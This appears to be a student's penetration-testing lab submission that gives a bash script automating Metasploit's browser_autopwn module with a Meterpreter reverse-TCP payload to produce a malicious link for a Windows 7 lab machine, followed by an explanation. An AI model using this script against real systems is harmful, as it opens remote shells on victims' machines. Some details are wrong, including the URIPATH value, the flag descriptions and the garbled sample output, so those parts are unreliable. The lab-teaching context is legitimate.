FORDHAM UNIVERSITY

THE JESUIT UNIVERSITY OF NEW YORK

PENETRATION TESTING (CISC 7050)

Client Side Attack Automation

Name: Gopi Gor

FDIN: A21370441

Client Side Attack Automation

In this discussion, we have created a bash script to automate the tasks for Client Side Attack automation to create a malicious link as we did using the msfconsole and the browser_autopwn exploit module in the second part of the lab – malicious link. This will create the malicious link which can be run on the Windows 7 once it is created.

```
#!/bin/bash

# Define variables
LHOST="Kali_IP"
LPORT="Listening_port"
URIPATH="https://canva.com"
PAYLOAD="windows/meterpreter/reverse_tcp"

# Start Metasploit and load the browser_autopwn module
msfconsole -q -x "use exploit/multi/browser/browser_autopwn;
            set PAYLOAD $PAYLOAD;
            set LHOST $LHOST;
            set LPORT $LPORT;
            set URIPATH $URIPATH;
            exploit -j"
```

The above script is going to completely automate the exploit process for the browser_autopwn module in the mfsconsole. First, we define the variables we need to set when we do the same task manually. We usually set the LHOST, LPORT, URIPATH and PAYLOAD before we run the exploit on the module. Currently, it is general right now, but can be altered as per the need and use of the script. So once we set the variables, we will start mfsconsole and load the module that we want to use. The -q releases the verbose mode and makes it quieter. The -x command allows us for series of commands to be written by separating with a semicolon.

Finally, we use the "use <exploit_module> command to run the module, along with setting parameters and referencing them back with the variables.

We exploit the module, and the -j allows to run a background job, so as soon as the script is executed, it will allow for the user to be back in command if needed. This creates the malicious link, which can then be run on any server and it may show up as "Server running on: https://<LHOST>:<LPORT>www.canva.com.